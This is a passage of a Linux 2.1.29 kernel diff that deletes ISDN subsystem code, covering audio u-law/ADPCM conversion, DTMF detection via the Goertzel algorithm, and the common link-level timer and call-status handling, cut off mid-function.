exp_lut[256] = - { - 0, 0, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, - 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, - 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, - 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, - 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, - 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, - 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, - 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, - 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, - 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, - 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, - 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, - 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, - 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, - 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, - 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7 - }; - int sign, - exponent, - mantissa; - unsigned char ulawbyte; - - /* Get the sample into sign-magnitude. */ - sign = (sample >> 8) & 0x80; /* set aside the sign */ - if (sign != 0) - sample = -sample; /* get magnitude */ - if (sample > CLIP) - sample = CLIP; /* clip the magnitude */ - - /* Convert from 16 bit linear to ulaw. */ - sample = sample + BIAS; - exponent = exp_lut[(sample >> 7) & 0xFF]; - mantissa = (sample >> (exponent + 3)) & 0x0F; - ulawbyte = ~(sign | (exponent << 4) | mantissa); -#ifdef ZEROTRAP - /* optional CCITT trap */ - if (ulawbyte == 0) - ulawbyte = 0x02; -#endif - return (ulawbyte); -} - - -static int Mx[3][8] = -{ - {0x3800, 0x5600, 0, 0, 0, 0, 0, 0}, - {0x399a, 0x3a9f, 0x4d14, 0x6607, 0, 0, 0, 0}, - {0x3556, 0x3556, 0x399A, 0x3A9F, 0x4200, 0x4D14, 0x6607, 0x6607}, -}; - -static int bitmask[9] = -{ - 0, 0x01, 0x03, 0x07, 0x0f, 0x1f, 0x3f, 0x7f, 0xff -}; - -static int -isdn_audio_get_bits(adpcm_state * s, unsigned char **in, int *len) -{ - while (s->nleft < s->nbits) { - int d = *((*in)++); - (*len)--; - s->word = (s->word << 8) | d; - s->nleft += 8; - } - s->nleft -= s->nbits; - return (s->word >> s->nleft) & bitmask[s->nbits]; -} - -static void -isdn_audio_put_bits(int data, int nbits, adpcm_state * s, - unsigned char **out, int *len) -{ - s->word = (s->word << nbits) | (data & bitmask[nbits]); - s->nleft += nbits; - while (s->nleft >= 8) { - int d = (s->word >> (s->nleft - 8)); - *(out[0]++) = d & 255; - (*len)++; - s->nleft -= 8; - } -} - -adpcm_state * -isdn_audio_adpcm_init(adpcm_state * s, int nbits) -{ - if (!s) - s = (adpcm_state *) kmalloc(sizeof(adpcm_state), GFP_ATOMIC); - if (s) { - s->a = 0; - s->d = 5; - s->word = 0; - s->nleft = 0; - s->nbits = nbits; - } - return s; -} - -dtmf_state * -isdn_audio_dtmf_init(dtmf_state * s) -{ - if (!s) - s = (dtmf_state *) kmalloc(sizeof(dtmf_state), GFP_ATOMIC); - if (s) { - s->idx = 0; - s->last = ' '; - } - return s; -} - -/* - * Decompression of adpcm data to a/u-law - * - */ - -int -isdn_audio_adpcm2xlaw(adpcm_state * s, int fmt, unsigned char *in, - unsigned char *out, int len) -{ - int a = s->a; - int d = s->d; - int nbits = s->nbits; - int olen = 0; - - while (len) { - int e = isdn_audio_get_bits(s, &in, &len); - int sign; - - if (nbits == 4 && e == 0) - d = 4; - sign = (e >> (nbits - 1)) ? -1 : 1; - e &= bitmask[nbits - 1]; - a += sign * ((e << 1) + 1) * d >> 1; - if (d & 1) - a++; - if (fmt) - *out++ = isdn_audio_ulaw_to_alaw[ - isdn_audio_linear2ulaw(a << 2)]; - else - *out++ = isdn_audio_linear2ulaw(a << 2); - olen++; - d = (d * Mx[nbits - 2][e] + 0x2000) >> 14; - if (d < 5) - d = 5; - } - s->a = a; - s->d = d; - return olen; -} - -int -isdn_audio_2adpcm_flush(adpcm_state * s, unsigned char *out) -{ - int olen = 0; - - if (s->nleft) - isdn_audio_put_bits(0, 8 - s->nleft, s, &out, &olen); - return olen; -} - -int -isdn_audio_xlaw2adpcm(adpcm_state * s, int fmt, unsigned char *in, - unsigned char *out, int len) -{ - int a = s->a; - int d = s->d; - int nbits = s->nbits; - int olen = 0; - - while (len--) { - int e = 0, - nmax = 1 << (nbits - 1); - int sign, - delta; - - if (fmt) - delta = (isdn_audio_alaw_to_s16[*in++] >> 2) - a; - else - delta = (isdn_audio_ulaw_to_s16[*in++] >> 2) - a; - if (delta < 0) { - e = nmax; - delta = -delta; - } - while (--nmax && delta > d) { - delta -= d; - e++; - } - if (nbits == 4 && ((e & 0x0f) == 0)) - e = 8; - isdn_audio_put_bits(e, nbits, s, &out, &olen); - sign = (e >> (nbits - 1)) ? -1 : 1; - e &= bitmask[nbits - 1]; - - a += sign * ((e << 1) + 1) * d >> 1; - if (d & 1) - a++; - d = (d * Mx[nbits - 2][e] + 0x2000) >> 14; - if (d < 5) - d = 5; - } - s->a = a; - s->d = d; - return olen; -} - -/* - * Goertzel algorithm. - * See http://ptolemy.eecs.berkeley.edu/~pino/Ptolemy/papers/96/dtmf_ict/ - * for more info. - * Result is stored into an sk_buff and queued up for later - * evaluation. - */ -static void -isdn_audio_goertzel(int *sample, modem_info * info) -{ - int sk, - sk1, - sk2; - int k, - n; - struct sk_buff *skb; - int *result; - - skb = dev_alloc_skb(sizeof(int) * NCOEFF); - if (!skb) { - printk(KERN_WARNING - "isdn_audio: Could not alloc DTMF result for ttyI%d\n", - info->line); - return; - } - SET_SKB_FREE(skb); - if (skb_headroom(skb) < sizeof(isdn_audio_skb)) { - printk(KERN_WARNING - "isdn_audio: insufficient DTMF skb_headroom, dropping\n"); - dev_kfree_skb(skb, FREE_READ); - return; - } - result = (int *) skb_put(skb, sizeof(int) * NCOEFF); - ISDN_AUDIO_SKB_DLECOUNT(skb) = 0; - for (k = 0; k < NCOEFF; k++) { - sk = sk1 = sk2 = 0; - for (n = 0; n < DTMF_NPOINTS; n++) { - sk = sample[n] + ((cos2pik[k] * sk1) >> 15) - sk2; - sk2 = sk1; - sk1 = sk; - } - result[k] = - ((sk * sk) >> AMP_BITS) - - ((((cos2pik[k] * sk) >> 15) * sk2) >> AMP_BITS) + - ((sk2 * sk2) >> AMP_BITS); - } - skb_queue_tail(&info->dtmf_queue, skb); - isdn_timer_ctrl(ISDN_TIMER_MODEMREAD, 1); -} - -void -isdn_audio_eval_dtmf(modem_info * info) -{ - struct sk_buff *skb; - int *result; - dtmf_state *s; - int silence; - int i; - int di; - int ch; - unsigned long flags; - int grp[2]; - char what; - char *p; - - while ((skb = skb_dequeue(&info->dtmf_queue))) { - result = (int *) skb->data; - s = info->dtmf_state; - grp[LOGRP] = grp[HIGRP] = -2; - silence = 0; - for (i = 0; i < 8; i++) { - if ((result[dtmf_tones[i].k] > DTMF_TRESH) && - (result[dtmf_tones[i].k2] < H2_TRESH)) - grp[dtmf_tones[i].grp] = (grp[dtmf_tones[i].grp] == -2) ? i : -1; - else if ((result[dtmf_tones[i].k] < SILENCE_TRESH) && - (result[dtmf_tones[i].k2] < SILENCE_TRESH)) - silence++; - } - if (silence == 8) - what = ' '; - else { - if ((grp[LOGRP] >= 0) && (grp[HIGRP] >= 0)) { - what = dtmf_matrix[grp[LOGRP]][grp[HIGRP] - 4]; - if (s->last != ' ' && s->last != '.') - s->last = what; /* min. 1 non-DTMF between DTMF */ - } else - what = '.'; - } - if ((what != s->last) && (what != ' ') && (what != '.')) { - printk(KERN_DEBUG "dtmf: tt='%c'\n", what); - p = skb->data; - *p++ = 0x10; - *p = what; - skb_trim(skb, 2); - save_flags(flags); - cli(); - di = info->isdn_driver; - ch = info->isdn_channel; - __skb_queue_tail(&dev->drv[di]->rpqueue[ch], skb); - dev->drv[di]->rcvcount[ch] += 2; - restore_flags(flags); - /* Schedule dequeuing */ - if ((dev->modempoll) && (info->rcvsched)) - isdn_timer_ctrl(ISDN_TIMER_MODEMREAD, 1); - wake_up_interruptible(&dev->drv[di]->rcv_waitq[ch]); - } else - kfree_skb(skb, FREE_READ); - s->last = what; - } -} - -/* - * Decode DTMF tones, queue result in separate sk_buf for - * later examination. - * Parameters: - * s = pointer to state-struct. - * buf = input audio data - * len = size of audio data. - * fmt = audio data format (0 = ulaw, 1 = alaw) - */ -void -isdn_audio_calc_dtmf(modem_info * info, unsigned char *buf, int len, int fmt) -{ - dtmf_state *s = info->dtmf_state; - int i; - int c; - - while (len) { - c = MIN(len, (DTMF_NPOINTS - s->idx)); - if (c <= 0) - break; - for (i = 0; i < c; i++) { - if (fmt) - s->buf[s->idx++] = - isdn_audio_alaw_to_s16[*buf++] >> (15 - AMP_BITS); - else - s->buf[s->idx++] = - isdn_audio_ulaw_to_s16[*buf++] >> (15 - AMP_BITS); - } - if (s->idx == DTMF_NPOINTS) { - isdn_audio_goertzel(s->buf, info); - s->idx = 0; - } - len -= c; - } -} Binary files linux-2.1.29/drivers/isdn/isdn_audio.h and linux/drivers/isdn/isdn_audio.h differ Binary files linux-2.1.29/drivers/isdn/isdn_cards.c and linux/drivers/isdn/isdn_cards.c differ Binary files linux-2.1.29/drivers/isdn/isdn_cards.h and linux/drivers/isdn/isdn_cards.h differ diff -u --recursive --new-file linux-2.1.29/drivers/isdn/isdn_common.c linux/drivers/isdn/isdn_common.c --- linux-2.1.29/drivers/isdn/isdn_common.c Sat May 10 18:17:37 1997 +++ linux/drivers/isdn/isdn_common.c Wed Dec 31 19:00:00 1969 @@ -1,2344 +0,0 @@ -/* $Id: isdn_common.c,v 1.34 1997/02/10 20:12:43 fritz Exp $ - - * Linux ISDN subsystem, common used functions (linklevel). - * - * Copyright 1994,95,96 by Fritz Elfert (fritz@wuemaus.franken.de) - * Copyright 1995,96 Thinking Objects Software GmbH Wuerzburg - * Copyright 1995,96 by Michael Hipp (Michael.Hipp@student.uni-tuebingen.de) - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2, or (at your option) - * any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. - * - * $Log: isdn_common.c,v $ - * Revision 1.34 1997/02/10 20:12:43 fritz - * Changed interface for reporting incoming calls. - * - * Revision 1.33 1997/02/10 10:05:42 fritz - * More changes for Kernel 2.1.X - * Symbol information moved to isdn_syms.c - * - * Revision 1.32 1997/02/03 22:55:26 fritz - * Reformatted according CodingStyle. - * Changed isdn_writebuf_stub static. - * Slow down tty-RING counter. - * skb->free stuff replaced by macro. - * Bugfix in audio-skb locking. - * Bugfix in HL-driver locking. - * - * Revision 1.31 1997/01/17 01:19:18 fritz - * Applied chargeint patch. - * - * Revision 1.30 1997/01/14 01:27:47 fritz - * Changed audio receive not to rely on skb->users and skb->lock. - * Added ATI2 and related variables. - * Started adding full-duplex audio capability. - * - * Revision 1.29 1997/01/12 23:33:03 fritz - * Made isdn_all_eaz foolproof. - * - * Revision 1.28 1996/11/13 02:33:19 fritz - * Fixed a race condition. - * - * Revision 1.27 1996/10/27 22:02:41 keil - * return codes for ISDN_STAT_ICALL - * - * Revision 1.26 1996/10/23 11:59:40 fritz - * More compatibility changes. - * - * Revision 1.25 1996/10/22 23:13:54 fritz - * Changes for compatibility to 2.0.X and 2.1.X kernels. - * - * Revision 1.24 1996/10/11 14:02:03 fritz - * Bugfix: call to isdn_ppp_timer_timeout() never compiled, because of - * typo in #ifdef. - * - * Revision 1.23 1996/06/25 18:35:38 fritz - * Fixed bogus memory access in isdn_set_allcfg(). - * - * Revision 1.22 1996/06/24 17:37:37 fritz - * Bugfix: isdn_timer_ctrl() did restart timer, even if it - * was already running. - * lowlevel driver locking did use wrong parameters. - * - * Revision 1.21 1996/06/15 14:58:20 fritz - * Added version signatures for data structures used - * by userlevel programs. - * - * Revision 1.20 1996/06/12 16:01:49 fritz - * Bugfix: Remote B-channel hangup sometimes did not result - * in a NO CARRIER on tty. - * - * Revision 1.19 1996/06/11 14:52:04 hipp - * minor bugfix in isdn_writebuf_skb_stub() - * - * Revision 1.18 1996/06/06 14:51:51 fritz - * Changed to support DTMF decoding on audio playback also. - * - * Revision 1.17 1996/06/05 02:24:10 fritz - * Added DTMF decoder for audio mode. - * - * Revision 1.16 1996/06/03 20:09:05 fritz - * Bugfix: called wrong function pointer for locking in - * isdn_get_free_channel(). - * - * Revision 1.15 1996/05/31 01:10:54 fritz - * Bugfixes: - * Lowlevel modules did not get locked correctly. - * Did show wrong revision when initializing. - * Minor fixes in ioctl code. - * sk_buff did not get freed, if error in writebuf_stub. - * - * Revision 1.14 1996/05/18 01:36:55 fritz - * Added spelling corrections and some minor changes - * to stay in sync with kernel. - * - * Revision 1.13 1996/05/17 15:43:30 fritz - * Bugfix: decrement of rcvcount in readbchan() corrected. - * - * Revision 1.12 1996/05/17 03:55:43 fritz - * Changed DLE handling for audio receive. - * Some cleanup. - * Added display of isdn_audio_revision. - * - * Revision 1.11 1996/05/11 21:51:32 fritz - * Changed queue management to use sk_buffs. - * - * Revision 1.10 1996/05/10 08:49:16 fritz - * Checkin before major changes of tty-code. - * - * Revision 1.9 1996/05/07 09:19:41 fritz - * Adapted to changes in isdn_tty.c - * - * Revision 1.8 1996/05/06 11:34:51 hipp - * fixed a few bugs - * - * Revision 1.7 1996/05/02 03:55:17 fritz - * Bugfixes: - * - B-channel connect message for modem devices - * sometimes did not result in a CONNECT-message. - * - register_isdn did not check for driverId-conflicts. - * - * Revision 1.6 1996/04/30 20:57:21 fritz - * Commit test - * - * Revision 1.5 1996/04/20 16:19:07 fritz - * Changed slow timer handlers to increase accuracy. - * Added statistic information for usage by xisdnload. - * Fixed behaviour of isdnctrl-device on non-blocked io. - * Fixed all io to go through generic writebuf-function without - * bypassing. Same for incoming data. - * Fixed bug: Last channel had been unusable. - * Fixed kfree of tty xmit_buf on ppp initialization failure. - * - * Revision 1.4 1996/02/11 02:33:26 fritz - * Fixed bug in main timer-dispatcher. - * Bugfix: Lot of tty-callbacks got called regardless of the events already - * been handled by network-devices. - * Changed ioctl-names. - * - * Revision 1.3 1996/01/22 05:16:11 fritz - * Changed ioctl-names. - * Fixed bugs in isdn_open and isdn_close regarding PPP_MINOR. - * - * Revision 1.2 1996/01/21 16:52:40 fritz - * Support for sk_buffs added, changed header-stuffing. - * - * Revision 1.1 1996/01/09 04:12:52 fritz - * Initial revision - * - */ - -#include -#define __NO_VERSION__ -#include -#include -#if (LINUX_VERSION_CODE >= 0x020117) -#include -#endif -#include -#include "isdn_common.h" -#include "isdn_tty.h" -#include "isdn_net.h" -#include "isdn_ppp.h" -#ifdef CONFIG_ISDN_AUDIO -#include "isdn_audio.h" -#endif -#include "isdn_cards.h" - -/* Debugflags */ -#undef ISDN_DEBUG_STATCALLB -#define NEW_ISDN_TIMER_CTRL - -isdn_dev *dev = (isdn_dev *) 0; - -static char *isdn_revision = "$Revision: 1.34 $"; - -extern char *isdn_net_revision; -extern char *isdn_tty_revision; -#ifdef CONFIG_ISDN_PPP -extern char *isdn_ppp_revision; -#else -static char *isdn_ppp_revision = ": none $"; -#endif -#ifdef CONFIG_ISDN_AUDIO -extern char *isdn_audio_revision; -#else -static char *isdn_audio_revision = ": none $"; -#endif - -static int isdn_writebuf_stub(int, int, const u_char *, int, int); - -void -isdn_MOD_INC_USE_COUNT(void) -{ - MOD_INC_USE_COUNT; -} - -void -isdn_MOD_DEC_USE_COUNT(void) -{ - MOD_DEC_USE_COUNT; -} - -#if defined(ISDN_DEBUG_NET_DUMP) || defined(ISDN_DEBUG_MODEM_DUMP) -void -isdn_dumppkt(char *s, u_char * p, int len, int dumplen) -{ - int dumpc; - - printk(KERN_DEBUG "%s(%d) ", s, len); - for (dumpc = 0; (dumpc < dumplen) && (len); len--, dumpc++) - printk(" %02x", *p++); - printk("\n"); -} -#endif - -static __inline void -isdn_trash_skb(struct sk_buff *skb, int rw) -{ - SET_SKB_FREE(skb); - kfree_skb(skb, rw); -} - -static void -isdn_free_queue(struct sk_buff_head *queue) -{ - struct sk_buff *skb; - unsigned long flags; - - save_flags(flags); - cli(); - if (skb_queue_len(queue)) - while ((skb = skb_dequeue(queue))) - isdn_trash_skb(skb, FREE_READ); - restore_flags(flags); -} - -int -isdn_dc2minor(int di, int ch) -{ - int i; - for (i = 0; i < ISDN_MAX_CHANNELS; i++) - if (dev->chanmap[i] == ch && dev->drvmap[i] == di) - return i; - return -1; -} - -static int isdn_timer_cnt1 = 0; -static int isdn_timer_cnt2 = 0; -static int isdn_timer_cnt3 = 0; - -static void -isdn_timer_funct(ulong dummy) -{ - int tf = dev->tflags; - - if (tf & ISDN_TIMER_FAST) { - if (tf & ISDN_TIMER_MODEMREAD) - isdn_tty_readmodem(); - if (tf & ISDN_TIMER_MODEMPLUS) - isdn_tty_modem_escape(); - if (tf & ISDN_TIMER_MODEMXMIT) - isdn_tty_modem_xmit(); - } - if (tf & ISDN_TIMER_SLOW) { - if (++isdn_timer_cnt1 >= ISDN_TIMER_02SEC) { - isdn_timer_cnt1 = 0; - if (tf & ISDN_TIMER_NETDIAL) - isdn_net_dial(); - } - if (++isdn_timer_cnt2 >= ISDN_TIMER_1SEC) { - isdn_timer_cnt2 = 0; - if (tf & ISDN_TIMER_NETHANGUP) - isdn_net_autohup(); - if (++isdn_timer_cnt3 > ISDN_TIMER_RINGING) { - isdn_timer_cnt3 = 0; - if (tf & ISDN_TIMER_MODEMRING) - isdn_tty_modem_ring(); - } -#if (defined CONFIG_ISDN_PPP) && (defined CONFIG_ISDN_MPP) - if (tf & ISDN_TIMER_IPPP) - isdn_ppp_timer_timeout(); -#endif - } - } - if (tf) { - int flags; - - save_flags(flags); - cli(); - del_timer(&dev->timer); -#ifndef NEW_ISDN_TIMER_CTRL - dev->timer.function = isdn_timer_funct; -#endif - dev->timer.expires = jiffies + ISDN_TIMER_RES; - add_timer(&dev->timer); - restore_flags(flags); - } -} - -void -isdn_timer_ctrl(int tf, int onoff) -{ - int flags; - - save_flags(flags); - cli(); - if ((tf & ISDN_TIMER_SLOW) && (!(dev->tflags & ISDN_TIMER_SLOW))) { - /* If the slow-timer wasn't activated until now */ - isdn_timer_cnt1 = 0; - isdn_timer_cnt2 = 0; - } - if (onoff) - dev->tflags |= tf; - else - dev->tflags &= ~tf; -#ifdef NEW_ISDN_TIMER_CTRL - if (dev->tflags) { - if (!del_timer(&dev->timer)) /* del_timer is 1, when active */ - dev->timer.expires = jiffies + ISDN_TIMER_RES; - add_timer(&dev->timer); - } -#else - if (dev->tflags) { - del_timer(&dev->timer); - dev->timer.function = isdn_timer_funct; - dev->timer.expires = jiffies + ISDN_TIMER_RES; - add_timer(&dev->timer); - } -#endif - restore_flags(flags); -} - -/* - * Receive a packet from B-Channel. (Called from low-level-module) - */ -static void -isdn_receive_skb_callback(int di, int channel, struct sk_buff *skb) -{ - ulong flags; - int i; - int midx; -#ifdef CONFIG_ISDN_AUDIO - int ifmt; -#endif - modem_info *info; - - if ((i = isdn_dc2minor(di, channel)) == -1) { - isdn_trash_skb(skb, FREE_READ); - return; - } - /* Update statistics */ - dev->ibytes[i] += skb->len; - /* First, try to deliver data to network-device */ - if (isdn_net_rcv_skb(i, skb)) - return; - /* No network-device found, deliver to tty or raw-channel */ - SET_SKB_FREE(skb); - if (skb->len) { - if ((midx = dev->m_idx[i]) < 0) { - /* if midx is invalid, drop packet */ - isdn_trash_skb(skb, FREE_READ); - return; - } - info = &dev->mdm.info[midx]; -#ifdef CONFIG_ISDN_AUDIO - ifmt = 1; - - if (info->vonline) - isdn_audio_calc_dtmf(info, skb->data, skb->len, ifmt); -#endif - if ((info->online < 2) && - (!(info->vonline & 1))) { - /* If Modem not listening, drop data */ - isdn_trash_skb(skb, FREE_READ); - return; - } - if (info->emu.mdmreg[13] & 2) - /* T.70 decoding: Simply throw away the T.70 header (4 bytes) */ - if ((skb->data[0] == 1) && ((skb->data[1] == 0) || (skb->data[1] == 1))) - skb_pull(skb, 4); - if (skb_headroom(skb) < sizeof(isdn_audio_skb)) { - printk(KERN_WARNING - "isdn_audio: insufficient skb_headroom, dropping\n"); - isdn_trash_skb(skb, FREE_READ); - return; - } - ISDN_AUDIO_SKB_DLECOUNT(skb) = 0; - ISDN_AUDIO_SKB_LOCK(skb) = 0; -#ifdef CONFIG_ISDN_AUDIO - if (info->vonline & 1) { - /* voice conversion/compression */ - switch (info->emu.vpar[3]) { - case 2: - case 3: - case 4: - /* adpcm - * Since compressed data takes less - * space, we can overwrite the buffer. - */ - skb_trim(skb, isdn_audio_xlaw2adpcm(info->adpcmr, - ifmt, - skb->data, - skb->data, - skb->len)); - break; - case 5: - /* a-law */ - if (!ifmt) - isdn_audio_ulaw2alaw(skb->data, skb->len); - break; - case 6: - /* u-law */ - if (ifmt) - isdn_audio_alaw2ulaw(skb->data, skb->len); - break; - } - ISDN_AUDIO_SKB_DLECOUNT(skb) = - isdn_tty_countDLE(skb->data, skb->len); - } -#endif - /* Try to deliver directly via tty-flip-buf if queue is empty */ - save_flags(flags); - cli(); - if (skb_queue_empty(&dev->drv[di]->rpqueue[channel])) - if (isdn_tty_try_read(info, skb)) { - restore_flags(flags); - return; - } - /* Direct deliver failed or queue wasn't empty. - * Queue up for later dequeueing via timer-irq. - */ - __skb_queue_tail(&dev->drv[di]->rpqueue[channel], skb); - dev->drv[di]->rcvcount[channel] += - (skb->len + ISDN_AUDIO_SKB_DLECOUNT(skb)); - restore_flags(flags); - /* Schedule dequeuing */ - if ((dev->modempoll) && (info->rcvsched)) - isdn_timer_ctrl(ISDN_TIMER_MODEMREAD, 1); - wake_up_interruptible(&dev->drv[di]->rcv_waitq[channel]); - } else - isdn_trash_skb(skb, FREE_READ); -} - -void -isdn_all_eaz(int di, int ch) -{ - isdn_ctrl cmd; - - if (di < 0) - return; - cmd.driver = di; - cmd.arg = ch; - cmd.command = ISDN_CMD_SETEAZ; - cmd.parm.num[0] = '\0'; - (void) dev->drv[di]->interface->command(&cmd); -} - -static int -isdn_status_callback(isdn_ctrl * c) -{ - int di; - int mi; - ulong flags; - int i; - int r; - int retval = 0; - modem_info *info; - isdn_ctrl cmd; - - di = c->driver; - i = isdn_dc2minor(di, c->arg); - switch (c->command) { - case ISDN_STAT_BSENT: - if (i < 0) - return -1; - if (dev->global_flags & ISDN_GLOBAL_STOPPED) - return 0; - if (isdn_net_stat_callback(i, c->command)) - return 0; - isdn_tty_bsent(di, c->arg); - wake_up_interruptible(&dev->drv[di]->snd_waitq[c->arg]); - break; - case ISDN_STAT_STAVAIL: - save_flags(flags); - cli(); - dev->drv[di]->stavail += c->arg; - restore_flags(flags); - wake_up_interruptible(&dev->drv[di]->st_waitq); - break; - case ISDN_STAT_RUN: - dev->drv[di]->running = 1; - for (i = 0; i < ISDN_MAX_CHANNELS; i++) - if (dev->drvmap[i] == di) - isdn_all_eaz(di, dev->chanmap[i]); - break; - case ISDN_STAT_STOP: - dev->drv[di]->running = 0; - break; - case ISDN_STAT_ICALL: - if (i < 0) - return -1; -#ifdef ISDN_DEBUG_STATCALLB - printk(KERN_DEBUG "ICALL (net): %d %ld %s\n", di, c->arg, c->num); -#endif - if (dev->global_flags & ISDN_GLOBAL_STOPPED) { - cmd.driver = di; - cmd.arg = c->arg; - cmd.command = ISDN_CMD_HANGUP; - dev->drv[di]->interface->command(&cmd); - return 0; - } - /* Try to find a network-interface which will accept incoming call */ - cmd.driver = di; - cmd.arg = c->arg; - cmd.command = ISDN_CMD_LOCK; - dev->drv[di]->interface->command(&cmd); - r = isdn_net_find_icall(di, c->arg, i, c->parm.setup); - switch (r) { - case 0: - /* No network-device replies. Schedule RING-message to - * tty and set RI-bit of modem-status. - */ - if ((mi = isdn_tty_find_icall(di, c->arg, c->parm.setup)) >= 0) { - info = &dev->mdm.info[mi]; - info->msr |= UART_MSR_RI; - isdn_tty_modem_result(2, info); - isdn_timer_ctrl(ISDN_TIMER_MODEMRING, 1); - retval = 1; - } else if (dev->drv[di]->reject_bus) { - cmd.driver = di; - cmd.arg = c->arg; - cmd.command = ISDN_CMD_HANGUP; - dev->drv[di]->interface->command(&cmd); - retval = 2; - } - break; - case 1: - /* Schedule connection-setup */ - isdn_net_dial(); - cmd.driver = di; - cmd.arg = c->arg; - cmd.command = ISDN_CMD_ACCEPTD; - dev->drv[di]->interface->command(&cmd); - retval = 1; - break; - case 2: /* For calling back, first reject incoming call ... */ - case 3: /* Interface found, but down, reject call actively */ - retval = 2; - printk(KERN_INFO "isdn: Rejecting Call\n"); - cmd.driver = di; - cmd.arg = c->arg; - cmd.command = ISDN_CMD_HANGUP; - dev->drv[di]->interface->command(&cmd); - if (r == 3) - break; - /* Fall through */ - case 4: - /* ... then start callback. */ - isdn_net_dial(); - break; - } - if (retval != 1) { - cmd.driver = di; - cmd.arg = c->arg; - cmd.command = ISDN_CMD_UNLOCK; - dev->drv[di]->interface->command(&cmd); - } - return retval; - break; - case ISDN_STAT_CINF: - if (i < 0) - return -1; -#ifdef ISDN_DEBUG_STATCALLB - printk(KERN_DEBUG "CINF: %ld %s\n", c->arg, c->num); -#endif - if (dev->global_flags & ISDN_GLOBAL_STOPPED) - return 0; - if (strcmp(c->parm.num, "0")) - isdn_net_stat_callback(i, c->command); - break; - case ISDN_STAT_CAUSE: -#ifdef ISDN_DEBUG_STATCALLB - printk(KERN_DEBUG "CAUSE: %ld %s\n", c->arg, c->num); -#endif - printk(KERN_INFO "isdn: cause: %s\n", c->parm.num); - if ((mi = dev->m_idx[i]) >= 0) { - /* Signal cause to tty-device */ - info = &dev->mdm.info[mi]; - strncpy(info->last_cause, c->parm.num, 5); - } - break; - case ISDN_STAT_DCONN: - if (i < 0) - return -1; -#ifdef ISDN_DEBUG_STATCALLB - printk(KERN_DEBUG "DCONN: %ld\n", c->arg); -#endif - if (dev->global_flags & ISDN_GLOBAL_STOPPED) - return 0; - /* Find any network-device, waiting for D-channel setup */ - if (isdn_net_stat_callback(i, c->command)) - break; - - if ((mi = dev->m_idx[i]) >= 0) { - /* If any tty has just dialed-out, setup B-Channel */ - info = &dev->mdm.info[mi]; - if (info->flags & - (ISDN_ASYNC_NORMAL_ACTIVE | ISDN_ASYNC_CALLOUT_ACTIVE)) { - if (info->dialing == 1) { - info->dialing = 2; - cmd.driver = di; - cmd.arg = c->arg; - cmd.command = ISDN_CMD_ACCEPTB; - dev->drv[di]->interface->command(&cmd); - return 0; - } - } - } - break; - case ISDN_STAT_DHUP: - if (i < 0) - return -1; -#ifdef ISDN_DEBUG_STATCALLB - printk(KERN_DEBUG "DHUP: %ld\n", c->arg); -#endif - if (dev->global_flags & ISDN_GLOBAL_STOPPED) - return 0; - dev->drv[di]->flags &= ~(1 << (c->arg)); - isdn_info_update(); - /* Signal hangup to network-devices */ - if (isdn_net_stat_callback(i, c->command)) - break; - if ((mi = dev->m_idx[i]) >= 0) { - /* Signal hangup to tty-device */ - info = &dev->mdm.info[mi]; - if (info->flags & - (ISDN_ASYNC_NORMAL_ACTIVE | ISDN_ASYNC_CALLOUT_ACTIVE)) { - if (info->dialing == 1) { - info->dialing = 0; - isdn_tty_modem_result(7, info); - } - if (info->online) - isdn_tty_modem_result(3, info); -#ifdef ISDN_DEBUG_MODEM_HUP - printk(KERN_DEBUG "Mhup in ISDN_STAT_DHUP\n"); -#endif - isdn_tty_modem_hup(info, 0); - return 0; - } - } - break; - case ISDN_STAT_BCONN: - if (i < 0) - return -1; -#ifdef ISDN_DEBUG_STATCALLB - printk(KERN_DEBUG "BCONN: %ld\n", c->arg); -#endif - /* Signal B-channel-connect to network-devices */ - if (dev->global_flags & ISDN_GLOBAL_STOPPED) - return 0; - dev->drv[di]->flags |= (1 << (c->arg)); - isdn_info_update(); - if (isdn_net_stat_callback(i, c->command)) - break; - if ((mi = dev->m_idx[i]) >= 0) { - /* Schedule CONNECT-Message to any tty, waiting for it and - * set DCD-bit of its modem-status. - */ - info = &dev->mdm.info[mi]; - if (info->flags & - (ISDN_ASYNC_NORMAL_ACTIVE | ISDN_ASYNC_CALLOUT_ACTIVE)) { - info->msr |= UART_MSR_DCD; - if (info->dialing) { - info->dialing = 0; - info->last_dir = 1; - } else - info->last_dir = 0; - info->rcvsched = 1; - if (USG_MODEM(dev->usage[i])) - isdn_tty_modem_result(5, info); - if (USG_VOICE(dev->usage[i])) - isdn_tty_modem_result(11, info); - } - } - break; - case ISDN_STAT_BHUP: - if (i < 0) - return -1; -#ifdef ISDN_DEBUG_STATCALLB - printk(KERN_DEBUG "BHUP: %ld\n", c->arg); -#endif - if (dev->global_flags & ISDN_GLOBAL_STOPPED) - return 0; - dev->drv[di]->flags &= ~(1 << (c->arg)); - isdn_info_update(); - if ((mi = dev->m_idx[i]) >= 0) { - /* Signal hangup to tty-device, schedule NO CARRIER-message 